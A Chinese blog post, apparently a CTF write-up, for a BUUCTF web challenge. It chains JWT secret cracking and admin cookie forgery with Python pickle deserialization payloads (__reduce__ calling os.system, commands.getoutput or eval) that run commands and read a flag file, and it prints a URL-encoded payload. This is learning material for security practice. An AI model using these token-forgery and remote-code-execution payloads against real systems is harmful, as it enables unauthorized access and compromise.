• 网安学习-CTF夺旗


    😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

    本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

    ⭐️此后如竟没有炬火,我便是唯一的光。⭐️

    Python序列化

    BUUCTF的[CISCN2019 华北赛区 Day1 Web2]ikun为例。

    页面中有lv4,lv3等,通过查看网页的源代码发现。

    写脚本去找就可以了,这里自己还是可以做出来的。

    1. #寻找lv6.png
    2. import requests
    3. for i in range(1,1001):
    4. url = 'http://f6cc6bb9-1241-48fd-b904-c170ba5b45b6.node4.buuoj.cn:81/shop?page='+str(i)
    5. result = requests.get(url)
    6. if 'lv6.png' in result.text:
    7. print(url)
    8. break

    得到对应的url;也就找到了对应的page,之后就是来到了购买的页面。

    看到这里结合之前的学习,感觉应该是逻辑支付漏洞吧,还有优惠券,尝试通过抓包修改单价或者优惠券。 

    这里尝试修改折扣的数据,回显给我们的结果是“该页面,只允许admin访问”;那就是垂直越权?

    这里还是用到了之前学习到的JWT知识,没想起来!想学的知识很多,真正掌握的知识却没多少。

    之后听了xd老师的课程之后,又回想起来了。

    在数据包中清楚的看到Cookie中存在着JWT。

    粗略的回顾一下JWT的知识点:

    JWT是利用token验证的一种具体的实现方式,其全称为Json Web Token;通俗的说,JWT本质上就是一个字符串,他是将用户信息保存到一个Json中,然后进行编码后得到了一个JWT token,并且得到这个JWT token是带有签名信息的,接收后可以通过验证判断是否被篡改。

    JWT结构:

    JWT由三部分组成:标头(Header)、有效载荷(Payload)、签名(Signature);在传输的时候这三部分分别经过base64编码之后通过“.”号进行连接形成最终传递的字符串。

    关于JWT的知识点可以参考之前做的笔记网安学习---Java安全之JWT安全及预编译CASE注入_YAy17的博客-CSDN博客 

    JWT详解_baobao555#的博客-CSDN博客_jwt

    这里通过网上的脚本来碰撞出密钥。github上的开源破解程序https://github.com/brendan-rius/c-jwt-cracker

    首次使用的时候出现了错误,大家在首次使用的时候可以参考这篇文章:快速安装 c-jwt-cracker - litluo - 博客园

    这里我破解出来的密钥如下:

    接下来就是使用在线工具重新加密。JSON Web Tokens - jwt.io

     之后便是修改数据包中的JWT数据,修改JWT为admin的凭证 实现垂直越权

    Cookie成功伪造!

    右击源代码看一下。

    发现备份的源码,下载。

     在Admin.py代码中发现了反序列化的函数。become先经过url解码,之后通过pickle进行反序列化。

    先对python的反序列化进行总结:

    其中,序列化:

    pickle.dumps()

    #其中pickle.dumps(object,file,protocol),有三个参数,分别是object:序列化的对象;file:将object序列化到file文件中;protocol:序列化的模式,可取值为0、1、2、true;其中0的时候,表示以文本的形式进行序列化;1或2或者True都表示以二进制的形式进行序列化

    反序列化:

    pickle.loads()

    在Python中内置了__reduce__(self)函数,他很像php中的wake_up函数,在反序列化的时候,会执行该函数,那么我们可以通过这个函数来执行命令。

    reduce函数返回一个元组。该元组包含2~5个元素。其中包含着一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;

    1. #例:
    2. class A(object):
    3. def __reduce__(self):
    4. return (os.system,('ls',))
    5. #就会执行os.system('ls')

    所以总体上的思路就是我们在reduce中构造一个我们想要执行的代码,之后进行序列化,在进行url编码,传递给become,让他进行反序列化执行reduce。

    这里我用commands.getoutput()函数,因为它可以得到回显,方便我们的查看。

    1. import urllib
    2. import pickle
    3. import commands
    4. class A(object):
    5. def __reduce__(self):
    6. return (commands.getoutput,('ls',)) #之后找到flag位置 使用cat即可
    7. a = A();
    8. b = urllib.quote(pickle.dumps(a))
    9. print(b)

    ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.

     网上的wp是用到的eval函数。

    1. #coding:utf-8
    2. import pickle
    3. import urllib
    4. class Test(object):
    5. def __reduce__(self):
    6. return (eval, ("open('/flag.txt','r').read()" ,))
    7. a = Test()
    8. s = pickle.dumps(a)
    9. #print(s)
    10. print(urllib.quote(s))

    之后便是返回到刚才的“一键成为大会员”的界面。抓包修改become的值,修改为我们序列化+url编码之后的payload。便可以得到flag

  • 相关阅读:
    仅11w粉涨800w播放,UP主在B站新分区带货变现!
    LabVIEW中使用并口
    BLS签名算法
    趁着中秋节来临之际,学学如何做好团队管理
    软件产品登记证书和软著区别 软件产品登记证书怎么申请
    iOS封装FrameWork
    [Interview]Java 面试宝典系列之 Java 集合类
    Spring启动流程
    Matlab信号处理1:模拟去除信号噪声
    辣根过氧化物酶交联的透明质酸水凝胶/光交联鱼胶原蛋白肽-透明质酸水凝胶的制备
  • 原文地址:https://blog.csdn.net/weixin_44770698/article/details/126533498